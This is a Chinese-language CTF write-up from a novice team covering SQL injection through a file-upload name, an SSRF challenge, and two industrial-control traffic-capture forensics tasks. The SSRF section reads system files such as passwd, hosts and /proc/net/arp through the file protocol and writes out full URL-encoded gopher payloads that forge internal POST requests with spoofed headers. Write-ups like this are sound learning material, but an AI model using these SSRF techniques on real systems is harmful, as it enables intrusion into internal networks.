网刃杯部分题目wp
网刃杯
前言
前几天参加网刃杯的比赛,整体感觉不错,虽然整个队伍都是新手菜鸡,但是也是做出来了几题,也是学到了不少知识。
web
upload:
刚开始做这道题的时候,一直以为是文件上传,但是各种绕过方法都尝试了一遍也没有上传成功。然后看见题目提示有一句sql yyds 这才意识到这道题可能要使用sql注入,但是没有找到注入点,最后师傅给发了一张图片提示了我注入点,最终成功找到flag。
首先我先上传了一个php文件,出现了报错提示
这里提示我们文件类型要为ctf即content-type=ctf
文件上传成功了,当我们去访问这个图片的网址时提示不解析
这时我想起来题目开头有一句话:sqlyyds这使我意识到这里可能要使用sql注入,我猜测注入点在文件名处所以我在文件后缀名后面加一个'测试是否存在sql注入点
这里返回提示我们上传了一个错误的sql语句,所以我们的猜测是正确的,注入点在文件名处,所以我们使用报错注入爆出数据库名
成功得到了数据库名,但是在接下来爆表名的时候一直无法爆出表名,所以我猜测flag是不是在flag表里面。
比赛的时候主要就是试试,谁知道真的猜对了,后期看师傅们的wp他们也都是猜的,这里无法通关sql得到表名,
爆出flag后发现只要一部分,应该是因为长度的限制导致无法完全显示出flag,所以我们这里使用right函数读取另外一部分。
最终得到flag:flag{5937a0b90b5966939cccd36929291c68aa}
Sign_in
打开靶场看到这串代码,猜测是ssrf,直接使用file协议读取文件
通过返回信息可以读取passwd,但是没有什么用,然后直接读取hosts文件
页面返回了内网的ip,然后查看一下arp缓存,
/proc/net/arp
网页打开太乱了,用burp抓包访问
这样清晰多了
发现172.73.23.100这个ip比较可疑,我们直接去访问这个网址
让get传一个a,那就直接传一个参数为a的值
又出现提升让post传一个b,最初直接传参发现报错,然后想到使用gopher协议
提示要使用本地ip127.0.0.1构造x-Forwaeded-For
Paylaod:gopher%3A//172.73.23.100%3A80/_POST%2520/index.php%253Fa%253D1%2520HTTP/1.1%250D%250AHost%253A%2520172.73.23.100%250D%250AContent-Type%253Aapplication/x-www-form-urlencoded%250D%250AX-Forwarded-For%253A%2520127.0.0.1%250D%250AReferer%253A%2520bolean.club%250D%250AContent-Length%253A36%250D%250A%250D%250Ab%253D1%250D%250A
提示要bolean.club访问构造refer
Payload:gopher%3A//172.73.23.100%3A80/_POST%2520/index.php%253Fa%253D1%2520HTTP/1.1%250D%250AHost%253A%2520172.73.23.100%250D%250AContent-Type%253Aapplication/x-www-form-urlencoded%250D%250AX-Forwarded-For%253A%2520127.0.0.1%250D%250AReferer%253A%2520bolean.club%250D%250AContent-Length%253A36%250D%250A%250D%250Ab%253D1%250D%250AReferer%253A%2520bolean.c1ub%2500%250A%250D%250Ab%253D1%2500%250A
成功找到了flag
Ics
:Easyiec
下载附件后打开发现是一个流量包
猜测flag应该藏在流量包里面,所以把流量包转为txt文件查看flag在不在里面
直接ctrl+f查找flag
发现flag果然隐藏在这里面;
Xyp07
下载附件
发现里面还是一个流量包文件,用7-zip打开压缩包,右键查看属性,发现一段base编码
看类型应该是base64编码,用base64解码七次作业可以得到文件的密码
打开流量包,追踪Tcp流
发现有base91编码的字符串
然后使用base91解密得到flag
做出来了四道题,还行,这次没被零封,有点成绩,菜鸡还在努力中。